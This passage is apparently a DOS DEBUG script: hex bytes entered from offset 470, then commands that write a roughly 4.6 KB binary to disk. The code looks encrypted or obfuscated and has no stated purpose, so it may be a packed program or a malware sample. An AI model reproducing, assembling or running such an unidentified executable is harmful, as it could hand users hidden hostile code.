E  470  4A F5 86 F5 9F C2 27 C5 4D 0E 4D C2 24 C5 8C D6

E  480  4D C4 24 64 8F D6 99 0A 24 09 97 C5 4D CD 95 0E

E  490  4D 0E 9D C6 26 D6 86 0E 4D 0E 49 DC 4A 0E 87 F5

E  4a0  9D 67 8F D0 99 0A B6 D6 86 08 9F 09 85 64 86 65

E  4b0  4D 09 95 0A 4D 0E 9D C6 27 C5 8F DC 48 C6 24 65

E  4c0  95 C5 8C D6 4D 0A 9F 09 4D C4 26 F5 9D 65 8F D7

E  4d0  99 0A 9D 0B 4B D4 86 08 9F C2 24 C5 8C D2 4D C4

E  4e0  24 65 B6 DA 26 CC 94 65 9D 0B 4B D4 86 08 8E DC

E  4f0  85 65 95 C5 49 0E 4D 0A 4D 08 9F 0B 87 67 86 0E

E  500  87 F5 9D 65 8F D0 24 F5 9F C5 48 0E 85 67 86 09

E  510  4D 0E 4B D6 48 0E 9D C6 26 C5 B6 D4 6C CC 91 DE

E  520  85 67 27 D6 86 CF 95 0E 4B DC 48 0E 4D C4 26 CC

E  530  90 DE 24 D4 86 0E 9F 0E 4D 0A 49 0A 8C D1 4D C4

E  540  26 CC 90 DE 4D F5 8E DC 85 64 86 09 85 65 95 C5

E  550  4B F5 9F C6 26 C5 B6 0E 4D 0E 87 CC 91 DE 27 F5

E  560  9F C5 8C D6 4D 0A 95 09 4A 0E 4D 0E 8F DC 9D C6

E  570  26 65 95 C5 4D 0E 85 F5 9D 65 26 D6 86 09 4A 09

E  580  9F C4 26 CC 90 DE 27 F5 86 09 4A C6 24 64 26 D6

E  590  86 09 4A DC 49 0E 4D C4 8F D2 9D 67 B6 CD 9F C6

E  5a0  24 C5 4D C6 27 C5 26 09 85 64 86 65 4D 0E 4D C4

E  5b0  B6 DA 26 CC 93 DE 26 F5 9F C5 4D 0E 4D 08 95 0B

E  5c0  9D C6 26 D6 86 CF 95 0E 8F DE 91 09 4A C2 B6 DC

E  5d0  26 64 24 C5 4D 0E 87 0E 24 67 27 65 26 F5 B6 DE

E  5e0  26 F5 85 67 24 65 95 C5 4D C6 B6 C5 4D DE 85 65

E  5f0  95 C5 4B DC 48 C2 24 C4 8F D2 9D 64 B6 CD 9F C5

E  600  4D 0E 85 67 86 09 4D C6 24 C5 4A 0E 87 0E 24 CC

E  610  91 DE 26 F5 9F C2 24 C5 4D 0E 4D 09 95 0A 4D DC

E  620  85 65 95 C5 4D DE 85 65 86 CC 9C DC 81 65 26 64

E  630  24 C5 8C D6 4D C4 4D 67 26 CC 91 DE 85 67 26 D6

E  640  86 0E 4D DE 85 65 95 C5 4D 0A 9F 09 81 67 27 C4

E  650  B6 DA 26 CC 93 DE 27 F5 8E DC 81 67 86 CF 90 0E

E  660  87 0E 24 CC 9F C2 27 67 86 CF 95 0E 4A C6 27 C5

E  670  26 09 8F DC 91 0B 9F C2 27 67 86 CF 93 0E 87 0E

E  680  27 CC 9E DE 85 64 95 C5 4D 0E 49 0A 9F 09 81 67

E  690  86 0E 4D C2 24 C4 B6 DA 26 CC 93 DE 26 F5 8E DC

E  6a0  81 64 24 67 87 CF 90 0E 8F D2 9D 65 B6 DC 81 65

E  6b0  27 67 24 67 86 0E 4D C6 24 C5 4A 0E 8F DC 81 65

E  6c0  24 C5 4D 0E 4D C2 24 C5 4D 0E 87 0E 24 CC 91 DE

E  6d0  26 F5 85 65 95 C5 4D 08 9F 0B 8C D1 4D C2 4D C4

E  6e0  8F D2 9D 65 B6 CD 9F C2 24 C4 8C D1 4D C2 24 C4

E  6f0  4D 0E 24 CC 9F C2 27 67 86 CF 90 0E 87 67 B6 DE

E  700  26 09 4A F5 4A 09 99 09 4D 09 9F C2 27 67 4D 0E

E  710  24 64 24 C4 4D 0E 24 CC 9F D6 86 0E 4D DE 85 65

E  720  95 C5 4A DC 49 CF 95 0E 87 67 8F DC 8E C5 48 C4

E  730  8C D2 4D 67 8F DD 97 C5 4B DC 81 67 86 CF 91 0E

E  740  87 67 8F D2 99 0A 97 C5 4D DC 81 67 86 CF 95 0E

E  750  81 67 87 0E 4D 0E 24 65 8F DD 95 C5 8C D6 4D 08

E  760  9F 0B 4D 0E 4D C4 24 65 8F D3 9D 65 97 C5 4B CD

E  770  B6 DC 87 0E 81 67 87 CF 92 0E 24 64 8F DD 86 F5

E  780  8C D2 4D C4 24 64 26 CC 90 DA 26 D4 86 0E 9F C2

E  790  24 C5 8C D0 4D C4 4D 67 24 65 8F DD 95 C5 4D 0E

E  7a0  9D C6 26 D6 86 0A 9F 09 4D 0E 4D C4 24 67 26 CC

E  7b0  91 CD 9D C5 4A F5 9F 0A 49 C4 24 0E 24 67 27 64

E  7c0  26 65 26 F5 26 F5 97 C5 49 0A B6 F5 9F CF 92 0E

E  7d0  87 67 24 67 27 64 27 65 26 F5 26 65 B6 65 B6 F5

E  7e0  81 67 86 0E 4D C4 24 C5 4D 0E 87 67 24 67 27 CF

E  7f0  95 65 8F D0 9D C6 26 D6 86 0E 4B DC 48 0E 4D C4

E  800  24 67 24 64 26 65 26 F5 26 F5 97 C5 49 0A B6 DE

E  810  4A CD 85 67 27 65 95 C5 8C D8 4A DE 85 65 95 C5

E  820  4D CF AF 09 9D C6 26 64 24 CD 86 0A 95 CF DA 0A

E  830  9D 0A 49 CD 8E CD 8F D0 8C 95 52 CD 8E CC 9C 9B

E  840  D9 F9 B6 81 DE 9C C5 F5 DF 86 B6 9B D9 81 B6 94

E  850  B6 83 DA 94 D2 F5 C0 9C C4 80 C5 CF 95 FB B6 F5

E  860  D4 80 C2 F5 C2 9D DF 86 B6 86 D5 87 D3 90 D8 F5

E  870  DF 86 8E CD 8F DB B7 F5 B7 F5 B7 F5 B7 F5 B6 91

E  880  D3 91 DF 96 D7 81 D3 91 B6 81 D9 F5 B1 90 DB F5

E  890  B7 F5 B7 F5 B7 F5 B7 CD 8E CD 8F D0 95 CF D6 11

E  8a0  8E 83 FF A7 E3 A6 B6 BC E5 F5 F8 BA E1 F5 E4 B0

E  8b0  FA B0 F7 A6 F3 B1 B6 BA F8 F5 EF BA E3 A7 B6 B6

E  8c0  F9 B8 E6 A0 E2 B0 E4 F9 B6 B7 F3 A2 F7 A7 F3 F4

E  8d0  9B DF B2 BE 52 01 04 B9 B8 03 95 04 7D E3 94 44

E  8e0  50 C9 D3 34 96 D5 14 46 B0 F8 63 F6 63 C9 91 00

E  8f0  C8 D6 77 80 CF 2E 75 11 72 1B 70 10 32 D4 55 57

E  900  42 F2 A0 90 30 34 8E E7 80 E7 BF 15 76 BE 36 01

E  910  60 B9 31 04 F1 04 9F 3B F0 44 34 47 B7 34 76 D6

E  920  70 46 D4 F8 07 F6 07 C9 F5 00 DB D6 64 80 DC C3

E  930  61 11 61 6C B9 10 21 D4 3E 57 51 85 B3 90 23 34

E  940  9D E7 93 E7 AC 15 65 BE 00 01 56 B9 24 04 C7 04

E  950  8C F1 C6 44 02 6D 81 34 65 D6 46 46 E2 F8 31 F6

E  960  31 C9 C3 00 E8 80 09 E9 44 08 DF 00 01 EE 09 EE

E  970  A3 39 B8 CB 64 CC B5 B1 BF B9 7D 78 7B 7A 75 74

E  980  77 76 71 70 73 72 0D 0C 0F 0E 09 08 0B 0A 05 04

E  990  07 06 01 00 03 02 1D 1C 1F 1E 19 18 1B 1A 15 14

E  9a0  17 16 11 10 13 12 2D 2C 2F 2E 29 28 5D EA E2 53

E  9b0  CA CB CC A4 CE 87 91 87 97 D3 9B 9B 93 D7 95 9C

E  9c0  89 9A 9B 98 DE 8B 6F 21 63 6F 68 25 76 62 67 79

E  9d0  66 6E 2C 62 60 2F 75 70 60 67 7C 35 2C 37 38 39

E  9e0  3A A1 11 17 A4 3F 73 55 4D 53 04 44 4A 4B 08 6F

E  9f0  58 4E 42 4E 46 0F 5E 44 51 5F 51 54 44 17 4C 5C

E  a00  49 4F 55 53 59 1F 29 2F 62 37 2C 20 66 17 09 0A

E  a10  03 0D 05 0E 6E 6F EA 5C 58 E9 74 11 39 39 2C 79

E  a20  3C 34 2E 3A 31 2B 40 5B 21 0C 09 0A 08 47 18 0C

E  a30  05 1B 00 08 4E 0B 1F 1F 06 53 18 1C 1D 12 58 17

E  a40  0F 18 52 5D 0A 1A F3 F5 F1 A2 A4 3F 8B 8D 32 A9

E  a50  AA AB AC AD AE DB F8 F8 E1 B3 FD E6 B6 FE EB B9

E  a60  FB BB D1 C8 CC CA F2 EE E3 83 84 94 88 94 90 9F

E  a70  8A C9 D5 8D EC C3 D5 C2 D9 93 94 95 96 97 98 99

E  a80  00 B6 B6 07 9E 9F E0 E1 92 8F 91 91 89 89 81 9C

E  a90  87 EB 85 9E EE 8D 95 85 86 96 86 F5 9F 99 F8 89

E  aa0  95 8C 99 8F F3 8F AC A0 AC B7 C4 C4 C7 C6 C9 C9

E  ab0  CA CB CC CD CE 55 FD FB 48 D3 D4 B8 8F D7 9F 8B

E  ac0  9F 9E 88 DD 8A 90 20 57 5B 55 4B 4F 47 55 24 5A

E  ad0  5C 47 20 40 4B 5B 51 53 5D 5F 5D 46 36 76 76 7D

E  ae0  3A 7A 70 71 3E 56 72 62 0C 03 9E 28 2C EF E5 E4

E  af0  E7 E6 E1 E0 E3 E2 FD FC FF FE F9 F8 FB FA F5 F4

E  b00  F7 F6 F1 F0 F3 F2 8D 8C 8F 8E 89 88 8B 8A 85 84

E  b10  87 86 81 80 83 82 9D 9C 9F 9E 99 98 9B 9A 95 E5

E  b20  57 51 51 57 7A B6 01 69 BD 63 64 65 66 67 68 69

E  b30  6A 6B 6C 6D 6E 6F 70 71 72 73 74 75 76 77 78 79

E  b40  7A 25 2A 2D 2D 2E D2 9F D7 85 8A 9A B5 47 06 49

E  b50  AC 2A 08 8D 07 CB 9D B7 33 15 94 1C D2 98 BE 38

E  b60  EA 9B 9B 9B 12 5F A5 B1 A2 A2 E0 AC A7 E3 A3 29

E  b70  D6 BA CF D8 B7 24 F4 B2 9C 10 B4 B4 3D F3 BD 97

E  b80  19 B9 BD 31 F2 B6 07 85 C5 C3 C5 49 8A CC 70 AF

E  b90  AC 06 ED F0 B9 D6 A4 E2 5E 13 9C 5B 16 F1 58 E7

E  ba0  DA DB 86 A8 F7 F9 41 E2 E2 CE E4 E7 94 C7 CE 4A

E  bb0  E9 EB CA 6C C0 FD F0 F1 F0 D5 7A F3 E4 F7 CB 06

E  bc0  43 48 F5 01 A8 0C A4 5F EA 14 04 ED 20 07 0F 54

E  bd0  15 51 55 56 56 51 9E 45 19 83 EB 61 1F 87 E7 6D

E  be0  1D D0 1A 02 A6 3E 05 9B B3 21 E9 04 E5 BB 06 D6

E  bf0  34 26 2C EE ED B3 0D 57 54 46 31 8D 41 2E A5 F6

E  c00  07 3B 77 49 62 BF BC 0F 36 12 C4 B9 09 33 04 C9

E  c10  B6 59 38 07 CE B3 41 25 17 D3 A8 68 22 41 D8 A5

E  c20  0D 2E 5A B5 26 59 AA 63 62 E3 98 5B 12 6E F5 47

E  c30  95 45 61 6D 87 3D 74 98 C4 77 24 27 27 69 76 66

E  c40  CE 7F B1 67 FE 85 84 F4 8F 39 90 85 32 8E 60 15

E  c50  75 3F 84 65 19 70 8F C8 C8 CB 57 7C C3 95 71 C7

E  c60  98 CB CF CC 98 CD BE 49 AA A3 BB FF A1 FE F3 F1

E  c70  41 17 44 43 AC 81 30 8F ED B5 4B C1 B5 5C 9D 29

E  c80  52 0C 43 55 2C BD 79 C5 C2 79 05 C4 2E 66 CA E7

E  c90  4B F5 0D CC 83 95 A5 D7 3A 56 D4 3E D2 47 30 DD

E  ca0  DA 33 A3 DF 1D 37 8B E3 90 92 5D E1 E6 5D 29 E8

E  cb0  02 96 EE 9F 88 E1 EF 50 33 F2 57 F6 F6 56 3B F8

E  cc0  59 FE FC 15 C7 FD 05 B2 0B 71 54 28 B5 0E B1 F6

E  cd0  F5 B1 F2 F2 B6 0D 52 F9 01 EC 66 2A AF 15 18 F1

E  ce0  51 19 6E 2A 30 9E 1E 92 2B 33 35 51 08 CF 27 2B

E  cf0  7A C3 33 2F 76 02 33 31 1C 90 F6 34 86 DE 16 9B

E  d00  FB 3A 85 3E 3E 85 81 40 6C 85 42 54 46 24 A0 66

E  d10  48 39 44 A5 A7 4E 22 52 BA 8F 54 96 BF 83 58 9A

E  d20  E3 A4 A3 E7 A0 A0 D8 63 20 8B A5 9B DF 65 68 81

E  d30  91 6A 42 EC 50 DC 79 61 63 07 95 9D A3 76 56 FA

E  d40  44 A0 7D 7D 0B A9 39 9D 82 39 45 84 6E 66 89 A7

E  d50  01 95 43 8C A0 06 8E 9A 92 BD 1F 8B 43 96 B6 10

E  d60  84 9C 9C B3 15 81 77 A0 8C 2A BA AC A6 89 2B AF

E  d70  65 AA BC 83 2F A9 7B B0 B2 B2 9A 34 B0 7A B9 B9

E  d80  BB C8 BB 93 79 B9 0D C0 3D 3C EA 03 C0 D6 C8 8C

E  d90  E4 6A 09 CC 75 CF D2 E2 00 24 37 FB D5 D1 1B D8

E  da0  59 09 DC D8 6D D6 63 33 E2 58 E4 E7 11 14 C6 60

E  db0  FC 28 ED C3 4D 2A F1 19 B7 F2 A2 A2 7D 0D 73 09

E  dc0  D4 5A 35 FC 45 EF 00 F6 E1 28 F4 1E FC 8C DF 82

E  dd0  CC 54 52 B6 1E 0F E7 E2 3C 9A 02 C0 17 39 BB CE

E  de0  1B F3 33 1C A7 03 20 9B E3 22 CC 76 27 CF 27 28

E  df0  C2 2F 2C EE C7 06 CF 02 F2 B8 C4 F8 2C 04 F2 0B

E  e00  F7 BB C6 3D 4A CE CB 45 CB C7 F7 4C CD 03 4A C0

E  e10  CE FE 45 C6 0A 4B D9 D5 E5 5A DF 11 50 DE DC E0

E  e20  53 D0 18 55 D7 DB DB 68 E9 27 6E EC E2 DA 61 E3

E  e30  BB E8 AA 61 D7 3B 79 23 F8 77 46 B7 FE F3 CB 70

E  e40  3C 85 BE 9F 8D 25 08 15 31 8A C2 3C A4 87 02 8D

E  e50  B8 49 04 09 3D 86 D6 73 67 2A A4 95 1C 93 10 1D

E  e60  29 92 DA 7F 69 26 13 A8 4A 71 A4 4D A7 A7 6B 11

E  e70  AA FC 82 26 B0 BD B0 59 C1 4E 34 7B 76 0F B9 EE

E  e80  52 D1 41 7E 22 EF 93 90 90 C5 70 EA 2E 99 35 42

E  e90  9D D3 4C 2B 0E 4F 2E 11 A7 C1 5F 82 CE 57 3E E6

E  ea0  53 8C C4 5C B1 C5 53 E8 61 BC F8 E5 E1 BD B1 B2

E  eb0  B2 76 2F 70 06 D9 0D 83 F1 1B 3C 0A 3C F5 F8 64

E  ec0  12 D1 01 61 C2 FF 75 34 52 50 55 57 00 B3 27 E1

E  ed0  11 F6 86 0A 32 F0 65 12 91 D0 1C 9E 41 0F 98 FF

E  ee0  DA 9B E2 DD 6B 0D AB 76 3A A3 C2 1A AF 70 30 A8

E  ef0  45 37 9F 24 AD 70 2E 31 35 69 6D 6E 6E AA F7 81

E  f00  38 79 6D 6E 10 B4 5E 53 42 70 8D 76 94 AF 95 B5

E  f10  11 12 8F F5 4E 0D BB BB EA 51 69 BD 99 AB 76 FA

E  f20  48 5B 9F E9 60 B7 6A 61 A1 D9 D7 6C A5 8F 91 96

E  f30  DE 54 62 72 40 E4 6E 63 72 9B C5 89 B5 9F 91 86

E  f40  CE 3B 97 93 2E 29 D2 D3 DC 03 B8 D9 F2 8F 08 B5

E  f50  8A FF 84 CB 65 7C C8 D7 C4 78 7A CF C8 CF 5B F9

E  f60  71 8B 0C FD B0 59 A6 FE A4 5C 4C 72 59 F5 F6 16

E  f70  C0 AD 27 43 17 AF B0 82 69 9D 3E 94 36 4B B8 CC

E  f80  BD 38 45 BD CB 8A B4 E2 42 3F C5 B1 F2 4D C8 F5

E  f90  91 B2 CA F1 8F B7 D2 DD F2 EF D4 A0 D1 54 21 D9

E  fa0  AF C2 A9 DA 9D 9D A1 DB 26 97 2A CB 6C C2 AF 69

E  fb0  16 EA 98 E0 6E 13 F0 84 00 18 4D DB 30 F1 A7 FF

E  fc0  FA 9A 3F 02 D0 9A 78 64 02 2D 67 6A 6B 06 69 7F

E  fd0  6D 0B 6A 7B 3D 37 26 11 66 66 66 77 79 17 7E 6F

E  fe0  22 2D 1C 7A 6B 7E 52 45 22 57 4B 4A 4A 4C 41 5D

E  ff0  2A 58 4F 4C 40 2F 46 58 40 5F 55 57 36 41 51 4B

E 1000  3A 5A 4F 49 5F 3F 36 22 42 30 37 32 27 37 48 2D

E 1010  2F 29 39 2A 4E 3B 34 51 21 27 35 36 3D 32 2A 59

E 1020  3B 37 35 36 5E 2D 05 19 62 0E 17 04 10 67 0B 19

E 1030  0B 1D 6C 03 01 0B 70 12 1E 16 15 1B 76 11 55 09

E 1040  08 14 7C 09 1C 1E F6 81 F6 E1 E0 F7 EF F1 ED FB

E 1050  8A FF EE EE E2 EA F1 FF 92 E7 F6 E6 F5 F6 F6 99

E 1060  FB ED FD EE EA 9F CE C0 D4 A3 D2 D6 CE CE CD A9

E 1070  CE C2 D6 D7 AE CC DF DC DF D2 DA D1 B6 C1 CB D8

E 1080  DC DE BD BD BE BF C0 C4 C2 95 58 96 97 95 CE D7

E 1090  9A 7B CE 25 99 34 A3 D2 39 98 44 5E 0E F9 7B FA

E 10a0  DD 63 DC 8A 36 99 1B 6B 24 C7 24 D9 26 93 E0 5D

E 10b0  D4 03 D5 16 05 C0 60 DF 79 ED D7 F2 4F F3 F8 43

E 10c0  3B FA 14 96 00 D1 81 3F C3 02 49 5F 73 01 E0 79

E 10d0  0A E0 08 9D E6 00 11 F9 87 EE A0 2B FE 19 E3 41

E 10e0  AA 19 F7 1F 8E 47 3F 26 78 7A 7F B8 78 CE 16 D2

E 10f0  B6 7B 7F 7C 7C 29 2E 1F BB 2D 17 32 8E 37 6F D1

E 1100  D1 C1 4E 0F B4 F9 64 81 7E 83 31 6F 48 58 66 C2

E 1110  54 68 4B 63 C7 51 42 51 EB 57 54 EF 97 56 B0 56

E 1120  A4 75 DD 63 9F 5E 2D 3B 17 65 8C 96 9D 8C 6C F9

E 1130  82 19 97 85 57 92 6F 76 28 2A 2F 2D EB 9E 96 83

E 1140  7A C2 83 82 C4 81 7F 39 80 C1 6C 25 7C 3E 8A 89

E 1150  62 51 71 A3 0F B1 23 98 82 82 E0 96 7F 11 98 71

E 1160  2B 66 25 81 9E 25 61 A0 4A 66 59 8B 2D B9 A3 A9

E 1170  84 22 B2 62 AF 81 3B AF B5 B3 9A 3C A8 62 B9 97

E 1180  31 A5 B5 BD 90 36 DE 16 C3 ED 65 00 C7 7C C8 CB

E 1190  F9 19 3B 2E E0 CC D6 12 D3 50 06 D5 FB 64 D1 5A

E 11a0  00 DB 67 DD DC 28 13 CF 6B F5 27 E4 C8 44 2D E8

E 11b0  02 8B 11 54 F2 EF 4A 30 F3 1B 70 08 4E F5 BA 40

E 11c0  05 04 77 2C 7F 15 B3 08 40 2D 8F 1B 14 07 E0 15

E 11d0  F0 79 1E E5 97 F3 A8 10 52 20 DD 26 C4 FF 15 E3

E 11e0  68 18 F4 97 E2 DC 40 99 20 61 9D DA D9 AC F9 AA

E 11f0  C0 2A 02 A6 30 3D 30 D9 C1 CA 47 36 DF A1 38 37

E 1200  25 8F 03 87 8D 36 F9 43 42 AB A5 BC 35 44 A1 CD

E 1210  4A 65 CD 73 FD 46 40 40 26 50 BF 2C C6 59 47 E1

E 1220  58 19 E5 A2 A1 D4 B1 E0 88 D0 6D E6 A4 63 46 E2

E 1230  74 79 6C 85 D9 96 03 72 99 28 E4 7B 69 C3 47 C3

E 1240  C9 72 C5 7E 7E 97 25 78 F0 C8 3C 85 C4 B4 41 02

E 1250  5B A5 07 93 9C 8F 78 05 6B E1 AE 2D 96 D7 21 9A

E 1260  9A 21 2F 94 76 19 59 D3 8E 1B A6 E7 1F 58 57 22

E 1270  7B 2A 46 1E A7 ED 9E 3A AC A1 B4 5D D9 4E CA AC

E 1280  02 BA FC 8E 77 8C 12 29 A1 3A B6 CC E8 01 CE 15

E 1290  CD 34 27 C5 5E E1 17 D7 C0 D3 D4 D5 B7 14 E4 D9

E 12a0  AE C0 8C 8C 8C 67 E0 B6 0A A1 1D 65 00 D8 68 17

E 12b0  D5 B1 B5 B5 9B EC 73 3B CD 1B C5 0C 35 1F D5 00

E 12c0  7A 1D C3 3E AA F4 29 44 A9 FC 20 3E CA A3 2A 50

E 12d0  AA DE BB 13 FE A3 29 6C A6 20 AE 98 68 22 AE EC

E 12e0  54 68 48 5F 43 F0 52 EB 29 90 E2 07 EB 1F 90 5E

E 12f0  EB 1D 90 30 14 EB 13 90 B9 22 00 EB 07 90 8A 94

E 1300  5D 09 EB F4 81 C6 5E 09 EB E9 46 EB DD EB B6 56

E 1310  EB EC 90 EB DA 10 11

RCX

1217

W

Q

